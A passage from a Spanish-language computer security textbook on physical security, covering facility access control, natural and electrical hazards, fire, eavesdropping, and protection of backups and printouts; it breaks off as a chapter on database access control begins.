ataques. También basta el sentido común para darse cuenta de que el cableado de red es un elemento importante para la seguridad, por lo que es recomendable apartarlo del acceso directo; por desgracia, en muchas organizaciones podemos ver excelentes ejemplos de lo que no hay que hacer en este sentido: cualquiera que pasee por entornos más o menos amplios (el campus de una universidad, por ejemplo) seguramente podrá ver - o pinchar, o cortar...- cables descolgados al alcance de todo el mundo, especialmente durante el vacaciones, época que se suele aprovechar para hacer obras. Todos hemos visto películas en las que se mostraba un estricto control de acceso a instalaciones militares mediante tarjetas inteligentes, analizadores de retina o verificadores de la geometría de la mano; aunque algunos de estos métodos aún suenen a ciencia ficción y sean demasiado caros para la mayor parte de entornos (recordemos que si el sistema de protección es más caro que lo que se quiere proteger tenemos un grave error en nuestros planes de seguridad), otros se pueden aplicar, y se aplican, en muchas organizaciones. Concretamente, el uso de lectores de tarjetas para poder acceder a ciertas dependencias es algo muy a la orden del día; la idea es sencilla: alguien pasa una tarjeta por el lector, que conecta con un sistema - - por ejemplo un ordenador - en el que existe una base de datos con información de los usuarios y los recintos a los que se le permite el acceso. Si la tarjeta pertenece a un usuario capacitado para abrir la puerta, ésta se abre, y en caso contrario se registra el intento y se niega el acceso. Aunque este método quizás resulte algo caro para extenderlo a todos y cada uno de los puntos a proteger en una organización, no sería tan descabellado instalar pequeños lectores de códigos de barras conectados a una máquina Linux en las puertas de muchas áreas, especialmente en las que se maneja información más o menos sensible. Estos lectores podrían leer una tarjeta que todos los miembros de la organización poseerían, conectar con la base de datos de usuarios, y autorizar o denegar la apertura de la puerta. Se trataría de un sistema sencillo de implementar, no muy caro, y que cubre de sobra las necesidades de seguridad en la mayoría de entornos: incluso se podría abaratar si en lugar de utilizar un mecanismo para abrir y cerrar puertas el sistema se limitara a informar al administrador del área o a un guardia de seguridad mediante un mensaje en pantalla o una luz encendida: de esta forma los únicos gastos serían los correspondientes a los lectores de códigos de barras, ya que como equipo con la base de datos se puede utilizar una máquina vieja o un servidor de propósito general. Detección Cuando la prevención es difícil por cualquier motivo (técnico, económico, humano...) es deseable que un potencial ataque sea detectado cuanto antes, para minimizar así sus efectos. Aunque en la detección de problemas, generalmente accesos físicos no autorizados, intervienen medios técnicos, como cámaras de vigilancia de circuito cerrado o alarmas, en entornos más normales el esfuerzo en detectar estas amenazas se ha de centrar en las personas que utilizan los sistemas y en las que sin utilizarlos están relacionadas de cierta forma con ellos; sucede lo mismo que con la seguridad lógica: se ha de ver toda la protección como una cadena que falla si falla su eslabón más débil. Es importante concienciar a todos de su papel en la política de seguridad del entorno; si por ejemplo un usuario autorizado detecta presencia de alguien de quien sospecha que no tiene autorización para estar en una determinada estancia debe avisar inmediatamente al administrador o al responsable de los equipos, que a su vez puede avisar al servicio de seguridad si es necesario. No obstante, utilizar este servicio debe ser sólamente un último recurso: generalmente en la mayoría de entornos no estamos tratando con terroristas, sino por fortuna con elementos mucho menos peligrosos. Si cada vez que se sospecha de alguien se avisa al servicio de seguridad esto puede repercutir en el ambiente de trabajo de los usuarios autorizados estableciendo cierta presión que no es en absoluto recomendable; un simple `>puedo ayudarte en algo?' suele ser más efectivo que un guardia solicitando una identificación formal. Esto es especialmente recomendable en lugares de acceso restringido, como laboratorios de investigación o centros de cálculo, donde los usuarios habituales suelen conocerse entre ellos y es fácil detectar personas ajenas al entorno. Desastres naturales En el anterior punto hemos hecho referencia a accesos físicos no autorizados a zonas o a elementos que pueden comprometer la seguridad de los equipos o de toda la red; sin embargo, no son estas las únicas amenazas relacionadas con la seguridad física. Un problema que no suele ser tan habitual, pero que en caso de producirse puede acarrear gravísimas consecuencias, es el derivado de los desastres naturales y su (falta de) prevención. Terremotos Los terremotos son el desastre natural menos probable en la mayoría de organismos ubicados en España, simplemente por su localización geográfica: no nos encontramos en una zona donde se suelan producir temblores de intensidad considerable; incluso en zonas del sur de España, como Almería, donde la probabilidad de un temblor es más elevada, los terremotos no suelen alcanzan la magnitud necesaria para causar daños en los equipos. Por tanto, no se suelen tomar medidas serias contra los movimientos sísmicos, ya que la probabilidad de que sucedan es tan baja que no merece la pena invertir dinero para minimizar sus efectos. De cualquier forma, aunque algunas medidas contra terremotos son excesivamente caras para la mayor parte de organizaciones en España (evidentemente serían igual de caras en zonas como Los Ángeles, pero allí el coste estaría justificado por la alta probabilidad de que se produzcan movimientos de magnitud considerable), no cuesta nada tomar ciertas medidas de prevención; por ejemplo, es muy recomendable no situar nunca equipos delicados en superficies muy elevadas (aunque tampoco es bueno situarlos a ras de suelo, como veremos al hablar de inundaciones). Si lo hacemos, un pequeño temblor puede tirar desde una altura considerable un complejo hardware, lo que con toda probabilidad lo inutilizará; puede incluso ser conveniente (y barato) utilizar fijaciones para los elementos más críticos, como las CPUs, los monitores o los routers. De la misma forma, tampoco es recomendable situar objetos pesados en superficies altas cercanas a los equipos, ya que si lo que cae son esos objetos también dañarán el hardware. Para evitar males mayores ante un terremoto, también es muy importante no situar equipos cerca de las ventanas: si se produce un temblor pueden caer por ellas, y en ese caso la pérdida de datos o hardware pierde importancia frente a los posibles accidentes - incluso mortales - que puede causar una pieza voluminosa a las personas a las que les cae encima. Además, situando los equipos alejados de las ventanas estamos dificultando las acciones de un potencial ladrón que se descuelgue por la fachada hasta las ventanas, ya que si el equipo estuviera cerca no tendría más que alargar el brazo para llevárselo. Quizás hablar de terremotos en un trabajo dedicado a sistemas `normales' especialmente centrándonos en lugares con escasa actividad sísmica - - como es España y más concretamente la Comunidad Valenciana - pueda resultar incluso gracioso, o cuanto menos exagerado. No obstante, no debemos entender por terremotos únicamente a los grandes desastres que derrumban edificios y destrozan vías de comunicación; quizás sería mas apropiado hablar incluso de vibraciones, desde las más grandes (los terremotos) hasta las más pequeñas (un simple motor cercano a los equipos). Las vibraciones, incluso las más imperceptibles, pueden dañar seriamente cualquier elemento electrónico de nuestras máquinas, especialmente si se trata de vibraciones contínuas: los primeros efectos pueden ser problemas con los cabezales de los discos duros o con los circuitos integrados que se dañan en las placas. Para hacer frente a pequeñas vibraciones podemos utilizar plataformas de goma donde situar a los equipos, de forma que la plataforma absorba la mayor parte de los movimientos; incluso sin llegar a esto, una regla común es evitar que entren en contacto equipos que poseen una electrónica delicada con hardware más mecánico, como las impresoras: estos dispositivos no paran de generar vibraciones cuando están en funcionamiento, por lo que situar una pequeña impresora encima de la CPU de una máquina es una idea nefasta. Como dicen algunos expertos en seguridad, el espacio en la sala de operaciones es un problema sin importancia comparado con las consecuencias de fallos en un disco duro o en la placa base de un ordenador. Tormentas eléctricas Las tormentas con aparato eléctrico, especialmente frecuentes en verano (cuando mucho personal se encuentra de vacaciones, lo que las hace más peligrosas) generan subidas súbitas de tensión infinitamente superiores a las que pueda generar un problema en la red eléctrica, como veremos a continuación. Si cae un rayo sobre la estructura metálica del edificio donde están situados nuestros equipos es casi seguro que podemos ir pensando en comprar otros nuevos; sin llegar a ser tan dramáticos, la caída de un rayo en un lugar cercano puede inducir un campo magnético lo suficientemente intenso como para destruir hardware incluso protegido contra voltajes elevados. Sin embargo, las tormentas poseen un lado positivo: son predecibles con más o menos exactitud, lo que permite a un administrador parar sus máquinas y desconectarlas de la línea eléctrica. Entonces, ¿cuál es el problema? Aparte de las propias tormentas, el problema son los responsables de los equipos: la caída de un rayo es algo poco probable - pero no imposible - en una gran ciudad donde existen artilugios destinados justamente a atraer rayos de una forma controlada; tanto es así que mucha gente ni siquiera ha visto caer cerca un rayo, por lo que directamente tiende a asumir que eso no le va a suceder nunca, y menos a sus equipos. Por tanto, muy pocos administradores se molestan en parar máquinas y desconectarlas ante una tormenta; si el fenómeno sucede durante las horas de trabajo y la tormenta es fuerte, quizás sí que lo hace, pero si sucede un sábado por la noche nadie va a ir a la sala de operaciones a proteger a los equipos, y nadie antes se habrá tomado la molestia de protegerlos por una simple previsión meteorológica. Si a esto añadimos lo que antes hemos comentado, que las tormentas se producen con más frecuencia en pleno verano, cuando casi toda la plantilla está de vacaciones y sólo hay un par de personas de guardia, tenemos el caldo de cultivo ideal para que una amenaza que a priori no es muy grave se convierta en el final de algunos de nuestros equipos. Conclusión: todos hemos de tomar más en serio a la Naturaleza cuando nos avisa con un par de truenos... Otra medida de protección contra las tormentas eléctricas hace referencia a la ubicación de los medios magnéticos, especialmente las copias de seguridad; aunque hablaremos con más detalle de la protección de los backups, de momento podemos adelantar que se han de almacenar lo más alejados posible de la estructura metálica de los edificios. Un rayo en el propio edificio, o en un lugar cercano, puede inducir un campo electromagnético lo suficientemente grande como para borrar de golpe todas nuestras cintas o discos, lo que añade a los problemas por daños en el hardware la pérdida de toda la información de nuestros sistemas. Inundaciones y humedad Cierto grado de humedad es necesario para un correcto funcionamiento de nuestras máquinas: en ambientes extremadamente secos el nivel de electricidad estática es elevado, lo que, como veremos más tarde, puede transformar un pequeño contacto entre una persona y un circuito, o entre diferentes componentes de una máquina, en un daño irreparable al hardware y a la información. No obstante, niveles de humedad elevados son perjudiciales para los equipos porque pueden producir condensación en los circuitos integrados, lo que origina cortocircuitos que evidentemente tienen efectos negativos sobre cualquier elemento electrónico de una máquina. Controlar el nivel de humedad en los entornos habituales es algo innecesario, ya que por norma nadie ubica estaciones en los lugares más húmedos o que presenten situaciones extremas; no obstante, ciertos equipos son especialmente sensibles a la humedad, por lo que es conveniente consultar los manuales de todos aquellos de los que tengamos dudas. Quizás sea necesario utilizar alarmas que se activan al detectar condiciones de muy poca o demasiada humedad, especialmente en sistemas de alta disponibilidad o de altas prestaciones, donde un fallo en un componente puede ser crucial. Cuando ya no se habla de una humedad más o menos elevada sino de completas inundaciones, los problemas generados son mucho mayores. Casi cualquier medio (una máquina, una cinta, un router...) que entre en contacto con el agua queda automáticamente inutilizado, bien por el propio líquido o bien por los cortocircuitos que genera en los sistemas electrónicos. Evidentemente, contra las inundaciones las medidas más efectivas son las de prevención (frente a las de detección); podemos utilizar detectores de agua en los suelos o falsos suelos de las salas de operaciones, y apagar automáticamente los sistemas en caso de que se activen. Tras apagar los sistemas podemos tener también instalado un sistema automático que corte la corriente: algo muy común es intentar sacar los equipos - previamente apagados o no - de una sala que se está empezando a inundar; esto, que a primera vista parece lo lógico, es el mayor error que se puede cometer si no hemos desconectado completamente el sistema eléctrico, ya que la mezcla de corriente y agua puede causar incluso la muerte a quien intente salvar equipos. Por muy caro que sea el hardware o por muy valiosa que sea la información a proteger, nunca serán magnitudes comparables a lo que supone la pérdida de vidas humanas. Otro error común relacionado con los detectores de agua es situar a los mismos a un nivel superior que a los propios equipos a salvaguardar (¡incluso en el techo, junto a los detectores de humo!); evidentemente, cuando en estos casos el agua llega al detector poco se puede hacer ya por las máquinas o la información que contienen. Medidas de protección menos sofisticadas pueden ser la instalación de un falso suelo por encima del suelo real, o simplemente tener la precaución de situar a los equipos con una cierta elevación respecto al suelo, pero sin llegar a situarlos muy altos por los problemas que ya hemos comentado al hablar de terremotos y vibraciones. Desastres del entorno Electricidad Quizás los problemas derivados del entorno de trabajo más frecuentes son los relacionados con el sistema eléctrico que alimenta nuestros equipos; cortocircuitos, picos de tensión, cortes de flujo...a diario amenazan la integridad tanto de nuestro hardware como de los datos que almacena o que circulan por él. El problema menos común en las instalaciones modernas son las subidas de tensión, conocidas como `picos' porque generalmente duran muy poco: durante unas fracciones de segundo el voltaje que recibe un equipo sube hasta sobrepasar el límite aceptable que dicho equipo soporta. Lo normal es que estos picos apenas afecten al hardware o a los datos gracias a que en la mayoría de equipos hay instalados fusibles, elementos que se funden ante una subida de tensión y dejan de conducir la corriente, provocando que la máquina permanezca apagada. Disponga o no de fusibles el equipo a proteger (lo normal es que sí los tenga) una medida efectiva y barata es utilizar tomas de tierra para asegurar aún más la integridad; estos mecanismos evitan los problemas de sobretensión desviando el exceso de corriente hacia el suelo de una sala o edificio, o simplemente hacia cualquier lugar con voltaje nulo. Una toma de tierra sencilla puede consistir en un buen conductor conectado a los chasis de los equipos a proteger y a una barra maciza, también conductora, que se introduce lo más posible en el suelo; el coste de la instalación es pequeño, especialmente si lo comparamos con las pérdidas que supondría un incendio que afecte a todos o a una parte de nuestros equipos. Incluso teniendo un sistema protegido con los métodos anteriores, si la subida de tensión dura demasiado, o si es demasiado rápida, podemos sufrir daños en los equipos; existen acondicionadores de tensión comerciales que protegen de los picos hasta en los casos más extremos, y que también se utilizan como filtros para ruido eléctrico. Aunque en la mayoría de situaciones no es necesario su uso, si nuestra organización tiene problemas por el voltaje excesivo quizás sea conveniente instalar alguno de estos aparatos. Un problema que los estabilizadores de tensión o las tomas de tierra no pueden solucionar es justamente el contrario a las subidas de tensión: las bajadas, situaciones en las que la corriente desciende por debajo del voltaje necesario para un correcto funcionamiento del sistema, pero sin llegar a ser lo suficientemente bajo para que la máquina se apague. En estas situaciones la máquina se va a comportar de forma extraña e incorrecta, por ejemplo no aceptando algunas instrucciones, no completando escrituras en disco o memoria, etc. Es una situación similar a la de una bombilla que pierde intensidad momentáneamente por falta de corriente, pero trasladada a un sistema que en ese pequeño intervalo ejecuta miles o millones de instrucciones y transferencias de datos. Otro problema, muchísimo más habituales que los anteriores en redes eléctricas modernas, son los cortes en el fluido eléctrico que llega a nuestros equipos. Aunque un simple corte de corriente no suele afectar al hardware, lo más peligroso (y que sucede en muchas ocasiones) son las idas y venidas rápidas de la corriente; en esta situación, aparte de perder datos, nuestras máquinas pueden sufrir daños. La forma más efectiva de proteger nuestros equipos contra estos problemas de la corriente eléctrica es utilizar una SAI (Servicio de Alimentación Ininterrumpido) conectada al elemento que queremos proteger. Estos dispositivos mantienen un flujo de corriente correcto y estable de corriente, protegiendo así los equipos de subidas, cortes y bajadas de tensión; tienen capacidad para seguir alimentando las máquinas incluso en caso de que no reciban electricidad (evidentemente no las alimentan de forma indefinida, sino durante un cierto tiempo - el necesario para detener el sistema de forma ordenada). Por tanto, en caso de fallo de la corriente el SAI informará a la máquina Unix, que a través de un programa como /sbin/powerd recibe la información y decide cuanto tiempo de corriente le queda para poder pararse correctamente; si de nuevo vuelve el flujo la SAI vuelve a informar de este evento y el sistema desprograma su parada. Así de simple: por poco más de diez mil pesetas podemos obtener una SAI pequeña, más que suficiente para muchos servidores, que nos va a librar de la mayoría de los problemas relacionados con la red eléctrica. Un último problema contra el que ni siquiera las SAIs nos protegen es la corriente estática, un fenómeno extraño del que la mayoría de gente piensa que no afecta a los equipos, sólo a otras personas. Nada más lejos de la realidad: simplemente tocar con la mano la parte metálica de teclado o un conductor de una placa puede destruir un equipo completamente. Se trata de corriente de muy poca intensidad pero un altísimo voltaje, por lo que aunque la persona no sufra ningún daño - sólo un pequeño calambrazo - el ordenador sufre una descarga que puede ser suficiente para destrozar todos sus componentes, desde el disco duro hasta la memoria RAM. Contra el problema de la corriente estática existen muchas y muy baratas soluciones: spray antiestático, ionizadores antiestáticos...No obstante en la mayoría de situaciones sólo hace falta un poco de sentido común del usuario para evitar accidentes: no tocar directamente ninguna parte metálica, protegerse si debe hacer operaciones con el hardware, no mantener el entorno excesivamente seco... Ruido eléctrico Dentro del apartado anterior podríamos haber hablado del ruido eléctrico como un problema más relacionado con la electricidad; sin embargo este problema no es una incidencia directa de la corriente en nuestros equipos, sino una incidencia relacionada con la corriente de otras máquinas que pueden afectar al funcionamiento de la nuestra. El ruido eléctrico suele ser generado por motores o por maquinaria pesada, pero también puede serlo por otros ordenadores o por multitud de aparatos, especialmente muchos de los instalados en los laboratorios de organizaciones de I+D, y se transmite a través del espacio o de líneas eléctricas cercanas a nuestra instalación. Para prevenir los problemas que el ruido eléctrico puede causar en nuestros equipos lo más barato es intentar no situar hardware cercano a la maquinaria que puede causar dicho ruido; si no tenemos más remedio que hacerlo, podemos instalar filtros en las líneas de alimentación que llegan hasta los ordenadores. También es recomendable mantener alejados de los equipos dispositivos emisores de ondas, como teléfonos móviles, transmisores de radio o walkie-talkies; estos elementos puede incluso dañar permanentemente a nuestro hardware si tienen la suficiente potencia de transmisión, o influir directamente en elementos que pueden dañarlo como detectores de incendios o cierto tipo de alarmas. Incendios y humo Una causa casi siempre relacionada con la electricidad son los incendios, y con ellos el humo; aunque la causa de un fuego puede ser un desastre natural, lo habitual en muchos entornos es que el mayor peligro de incendio provenga de problemas eléctricos por la sobrecarga de la red debido al gran número de aparatos conectados al tendido. Un simple cortocircuito o un equipo que se calienta demasiado pueden convertirse en la causa directa de un incendio en el edificio, o al menos en la planta, donde se encuentran invertidos millones de pesetas en equipamiento. Un método efectivo contra los incendios son los extintores situados en el techo, que se activan automáticamente al detectar humo o calor. Algunos de ellos, los más antiguos, utilizaban agua para apagar las llamas, lo que provocaba que el hardware no llegara a sufrir los efectos del fuego si los extintores se activaban correctamente, pero que quedara destrozado por el agua expulsada. Visto este problema, a mitad de los ochenta se comenzaron a utilizar extintores de halón; este compuesto no conduce electricidad ni deja residuos, por lo que resulta ideal para no dañar los equipos. Sin embargo, también el halón presentaba problemas: por un lado, resulta excesivamente contaminante para la atmósfera, y por otro puede axfisiar a las personas a la vez que acaba con el fuego. Por eso se han sustituido los extintores de halón (aunque se siguen utilizando mucho hoy en día) por extintores de dióxido de carbono, menos contaminante y menos perjudicial. De cualquier forma, al igual que el halón el dióxido de carbono no es precisamente sano para los humanos, por lo que antes de activar el extintor es conveniente que todo el mundo abandone la sala; si se trata de sistemas de activación automática suelen avisar antes de expulsar su compuesto mediante un pitido. Aparte del fuego y el calor generado, en un incendio existe un tercer elemento perjudicial para los equipos: el humo, un potente abrasivo que ataca especialmente los discos magnéticos y ópticos. Quizás ante un incendio el daño provocado por el humo sea insignificante en comparación con el causado por el fuego y el calor, pero hemos de recordar que puede existir humo sin necesidad de que haya un fuego: por ejemplo, en salas de operaciones donde se fuma. Aunque muchos no apliquemos esta regla y fumemos demasiado - siempre es demasiado delante de nuestros equipos, sería conveniente no permitir esto; aparte de la suciedad generada que se deposita en todas las partes de un ordenador, desde el teclado hasta el monitor, generalmente todos tenemos el cenicero cerca de los equipos, por lo que el humo afecta directamente a todos los componentes; incluso al ser algo más habitual que un incendio, se puede considerar más perjudicial - para los equipos y las personas - el humo del tabaco que el de un fuego. En muchos manuales de seguridad se insta a los usuarios, administradores, o al personal en general a intentar controlar el fuego y salvar el equipamiento; esto tiene, como casi todo, sus pros y sus contras. Evidentemente, algo lógico cuando estamos ante un incendio de pequeñas dimensiones es intentar utilizar un extintor para apagarlo, de forma que lo que podría haber sido una catástrofe sea un simple susto o un pequeño accidente. Sin embargo, cuando las dimensiones de las llamas son considerables lo último que debemos hacer es intentar controlar el fuego nosotros mismos, arriesgando vidas para salvar hardware; como sucedía en el caso de inundaciones, no importa el precio de nuestros equipos o el valor de nuestra información: nunca serán tan importantes como una vida humana. Lo más recomendable en estos casos es evacuar el lugar del incendio y dejar su control en manos de personal especializado. Temperaturas extremas No hace falta ser un genio para comprender que las temperaturas extremas, ya sea un calor excesivo o un frio intenso, perjudican gravemente a todos los equipos. Es recomendable que los equipos operen entre 10 y 32 grados Celsius, aunque pequeñas variaciones en este rango tampoco han de influir en la mayoría de sistemas. Para controlar la temperatura ambiente en el entorno de operaciones nada mejor que un acondicionador de aire, aparato que también influirá positivamente en el rendimiento de los usuarios (las personas también tenemos rangos de temperaturas dentro de los cuales trabajamos más cómodamente). Otra condición básica para el correcto funcionamiento de cualquier equipo que éste se encuentre correctamente ventilado, sin elementos que obstruyan los ventiladores de la CPU. La organización física del computador también es decisiva para evitar sobrecalentamientos: si los discos duros, elementos que pueden alcanzar temperaturas considerables, se encuentran excesivamente cerca de la memoria RAM, es muy probable que los módulos acaben quemándose. Protección de los datos La seguridad física también implica una protección a la información de nuestro sistema, tanto a la que está almacenada en él como a la que se transmite entre diferentes equipos. Aunque los apartados comentados en la anterior sección son aplicables a la protección física de los datos (ya que no olvidemos que si protegemos el hardware también protegemos la información que se almacena o se transmite por él), hay ciertos aspectos a tener en cuenta a la hora de diseñar una política de seguridad física que afectan principalmente, aparte de a los elementos físicos, a los datos de nuestra organización; existen ataques cuyo objetivo no es destruir el medio físico de nuestro sistema, sino simplemente conseguir la información almacenada en dicho medio. Eavesdropping La interceptación o eavesdropping, también conocida por passive wiretapping es un proceso mediante el cual un agente capta información - en claro o cifrada - que no le iba dirigida; esta captación puede realizarse por muchísimos medios (por ejemplo, capturando las radiaciones electromagnéticas, como veremos luego). Aunque es en principio un ataque completamente pasivo, lo más peligroso del eavesdropping es que es muy difícil de detectar mientras que se produce, de forma que un atacante puede capturar información privilegiada y claves para acceder a más información sin que nadie se de cuenta hasta que dicho atacante utiliza la información capturada, convirtiendo el ataque en activo. Un medio de interceptación bastante habitual es el sniffing, consistente en capturar tramas que circulan por la red mediante un programa ejecutándose en una máquina conectada a ella o bien mediante un dispositivo que se engancha directamente el cableado 3.4. Estos dispositivos, denominados sniffers de alta impedancia, se conectan en paralelo con el cable de forma que la impedancia total del cable y el aparato es similar a la del cable solo, lo que hace difícil su detección. Contra estos ataques existen diversas soluciones; la más barata a nivel físico es no permitir la existencia de segmentos de red de fácil acceso, lugares idóneos para que un atacante conecte uno de estos aparatos y capture todo nuestro tráfico. No obstante esto resulta difícil en redes ya instaladas, donde no podemos modificar su arquitectura; en estos existe una solución generalmente gratuita pero que no tiene mucho que ver con el nivel físico: el uso de aplicaciones de cifrado para realizar las comunicaciones o el almacenamiento de la información (hablaremos más adelante de algunas de ellas). Tampoco debemos descuidar las tomas de red libres, donde un intruso con un portatil puede conectarse para capturar tráfico; es recomendable analizar regularmente nuestra red para verificar que todas las máquinas activas están autorizadas. Como soluciones igualmente efectivas contra la interceptación a nivel físico podemos citar el uso de dispositivos de cifra (no simples programas, sino hardware), generalmente chips que implementan algoritmos como DES; esta solución es muy poco utilizada en entornos de I+D, ya que es muchísimo más cara que utilizar implementaciones software de tales algoritmos y en muchas ocasiones la única diferencia entre los programas y los dispositivos de cifra es la velocidad. También se puede utilizar, como solución más cara, el cableado en vacío para evitar la interceptación de datos que viajan por la red: la idea es situar los cables en tubos donde artificialmente se crea el vacío o se inyecta aire a presión; si un atacante intenta `pinchar' el cable para interceptar los datos, rompe el vacío o el nivel de presión y el ataque es detectado inmediatamente. Como decimos, esta solución es enormemente cara y sólamente se aplica en redes de perímetro reducido para entornos de alta seguridad. Antes de finalizar este punto debemos recordar un peligro que muchas veces se ignora: el de la interceptación de datos emitidos en forma de sonido o simple ruido en nuestro entorno de operaciones. Imaginemos una situación en la que los responsables de la seguridad de nuestra organización se reunen para discutir nuevos mecanismos de protección; todo lo que en esa reunión se diga puede ser capturado por multitud de métodos, algunos de los cuales son tan simples que ni siquiera se contemplan en los planes de seguridad. Por ejemplo, una simple tarjeta de sonido instalada en un PC situado en la sala de reuniones puede transmitir a un atacante todo lo que se diga en esa reunión; mucho más simple y sencillo: un teléfono mal colgado - intencionada o inintencionadamente - también puede transmitir información muy útil para un potencial enemigo. Para evitar estos problemas existen numerosos métodos: por ejemplo, en el caso de los teléfonos fijos suele ser suficiente un poco de atención y sentido común, ya que basta con comprobar que están bien colgados...o incluso desconectados de la red telefónica. El caso de los móviles suele ser algo más complejo de controlar, ya que su pequeño tamaño permite camuflarlos fácilmente; no obstante, podemos instalar en la sala de reuniones un sistema de aislamiento para bloquear el uso de estos teléfonos: se trata de sistemas que ya se utilizan en ciertos entornos (por ejemplo en conciertos musicales) para evitar las molestias de un móvil sonando, y que trabajan bloqueando cualquier transmisión en los rangos de frecuencias en los que trabajan los diferentes operadores telefónicos. Otra medida preventiva (ya no para voz, sino para prevenir la fuga de datos vía el ruido ambiente) muy útil - y no muy cara - puede ser sustituir todos los teléfonos fijos de disco por teléfonos de teclado, ya que el ruido de un disco al girar puede permitir a un pirata deducir el número de teléfono marcado desde ese aparato. Backups En este apartado no vamos a hablar de las normas para establecer una política de realización de copias de seguridad correcta, ni tampoco de los mecanismos necesarios para implementarla o las precauciones que hay que tomar para que todo funcione correctamente; el tema que vamos a tratar en este apartado es la protección física de la información almacenada en backups, esto es, de la protección de los diferentes medios donde residen nuestras copias de seguridad. Hemos de tener siempre presente que si las copias contienen toda nuestra información tenemos que protegerlas igual que protegemos nuestros sistemas. Un error muy habitual es almacenar los dispositivos de backup en lugares muy cercanos a la sala de operaciones, cuando no en la misma sala; esto, que en principio puede parecer correcto (y cómodo si necesitamos restaurar unos archivos) puede convertirse en un problema: imaginemos simplemente que se produce un incendio de grandes dimensiones y todo el edificio queda reducido a cenizas. En este caso extremo tendremos que unir al problema de perder todos nuestros equipos - que seguramente cubrirá el seguro, por lo que no se puede considerar una catástrofe - el perder también todos nuestros datos, tanto los almacenados en los discos como los guardados en backups (esto evidentemente no hay seguro que lo cubra). Como podemos ver, resulta recomendable guardar las copias de seguridad en una zona alejada de la sala de operaciones, aunque en este caso descentralizemos la seguridad y tengamos que proteger el lugar donde almacenamos los backups igual que protegemos la propia sala o los equipos situados en ella, algo que en ocasiones puede resultar caro. También suele ser común etiquetar las cintas donde hacemos copias de seguridad con abundante información sobre su contenido (sistemas de ficheros almacenados, día y hora de la realización, sistema al que corresponde...); esto tiene una parte positiva y una negativa. Por un lado, recuperar un fichero es rápido: sólo tenemos que ir leyendo las etiquetas hasta encontrar la cinta adecuada. Sin embargo, si nos paramos a pensar, igual que para un administrador es fácil encontrar el backup deseado también lo es para un intruso que consiga acceso a las cintas, por lo que si el acceso a las mismas no está bien restringido un atacante lo tiene fácil para sustraer una cinta con toda nuestra información; no necesita saltarse nuestro cortafuegos, conseguir una clave del sistema o chantajear a un operador: nosotros mismos le estamos poniendo en bandeja toda nuestros datos. No obstante, ahora nos debemos plantear la duda habitual: si no etiqueto las copias de seguridad, >cómo puedo elegir la que debo restaurar en un momento dado? Evidentemente, se necesita cierta información en cada cinta para poder clasificarlas, pero esa información nunca debe ser algo que le facilite la tarea a un atacante; por ejemplo, se puede diseñar cierta codificación que sólo conozcan las personas responsables de las copias de seguridad, de forma que cada cinta vaya convenientemente etiquetada, pero sin conocer el código sea difícil imaginar su contenido. Aunque en un caso extremo el atacante puede llevarse todos nuestros backups para analizarlos uno a uno, siempre es más difícil disimular una carretilla llena de cintas de 8mm que una pequeña unidad guardada en un bolsillo. Y si aún pensamos que alguien puede sustraer todas las copias, simplemente tenemos que realizar backups cifrados...y controlar más el acceso al lugar donde las guardamos. Otros elementos En muchas ocasiones los responsables de seguridad de los sistemas tienen muy presente que la información a proteger se encuentra en los equipos, en las copias de seguridad o circulando por la red (y por lo tanto toman medidas para salvaguardar estos medios), pero olvidan que esa información también puede encontrarse en lugares menos obvios, como listados de impresora, facturas telefónicas o la propia documentación de una máquina. Imaginemos una situación muy típica en los sistemas Unix: un usuario, desde su terminal o el equipo de su despacho, imprime en el servidor un documento de cien páginas, documento que ya de entrada ningún operador comprueba - y quizás no pueda comprobar, ya que se puede comprometer la privacidad del usuario - pero que puede contener, disimuladamente, una copia de nuestro fichero de contraseñas. Cuando la impresión finaliza, el administrador lleva el documento fuera de la sala de operaciones, pone como portada una hoja con los datos del usuario en la máquina (login perfectamente visible, nombre del fichero, hora en que se lanzó...) y lo deja, junto a los documentos que otros usuarios han imprimido - y con los que se ha seguido la misma política - en una estantería perdida en un pasillo, lugar al que cualquier persona puede acceder con total libertad y llevarse la impresión, leerla o simplemente curiosear las portadas de todos los documentos. Así, de repente, a nadie se le escapan bastante problemas de seguridad derivados de esta política: sin entrar en lo que un usuario pueda imprimir - que repetimos, quizás no sea legal, o al menos ético, curiosear -, cualquiera puede robar una copia de un proyecto o un examen3.5, obtener información sobre nuestros sistemas de ficheros y las horas a las que los usuarios suelen trabajar, o simplemente descubrir, simplemente pasando por delante de la estantería, diez o veinte nombres válidos de usuario en nuestras máquinas; todas estas informaciones pueden ser de gran utilidad para un atacante, que por si fuera poco no tiene que hacer nada para obtenerlas, simplemente darse un paseo por el lugar donde depositamos las impresiones. Esto, que a muchos les puede parecer una exageración, no es ni más ni menos la política que se sigue en muchas organizaciones hoy en día, e incluso en centros de proceso de datos, donde a priori ha de haber una mayor concienciación por la seguridad informática. Evidentemente, hay que tomar medidas contra estos problemas. En primer lugar, las impresoras, plotters, faxes, teletipos, o cualquier dispositivo por el que pueda salir información de nuestro sistema ha de estar situado en un lugar de acceso restringido; también es conveniente que sea de acceso restringido el lugar donde los usuarios recogen los documentos que lanzan a estos dispositivos. Sería conveniente que un usuario que recoge una copia se acredite como alguien autorizado a hacerlo, aunque quizás esto puede ser imposible, o al menos muy difícil, en grandes sistemas (imaginemos que en una máquina con cinco mil usuarios obligamos a todo aquél que va a recoger una impresión a identificarse y comprobamos que la identificación es correcta antes de darle su documento...con toda seguridad necesitaríamos una persona encargada exclusivamente de este trabajo), siempre es conveniente demostrar cierto grado de interés por el destino de lo que sale por nuestra impresora: sin llegar a realizar un control férreo, si un atacante sabe que el acceso a los documentos está mínimamente controlado se lo pensará dos veces antes de intentar conseguir algo que otro usuario ha imprimido. Elementos que también pueden ser aprovechados por un atacante para comprometer nuestra seguridad son todos aquellos que revelen información de nuestros sistemas o del personal que los utiliza, como ciertos manuales (proporcionan versiones de los sistemas operativos utilizados), facturas de teléfono del centro (pueden indicar los números de nuestros módems) o agendas de operadores (revelan los teléfonos de varios usuarios, algo muy provechoso para alguien que intente efectuar ingeniería social contra ellos). Aunque es conveniente no destruir ni dejar a la vista de todo el mundo esta información, si queremos eliminarla no podemos limitarnos a arrojar documentos a la papelera: en el capítulo siguiente hablaremos del basureo, algo que aunque parezca sacado de películas de espías realmente se utiliza contra todo tipo de entornos. Es recomendable utilizar una trituradora de papel, dispositivo que dificulta muchísimo la reconstrucción y lectura de un documento destruido; por poco dinero podemos conseguir uno de estos aparatos, que suele ser suficiente para acabar con cantidades moderadas de papel. Capítulo IV Control de acceso a los datos Elementos para el control de acceso En un sistema de gestión de base de datos existen diversos elementos que ayudan a controlar el acceso a los datos. En primer lugar el sistema debe identificar y autentificar a los usuarios utilizando 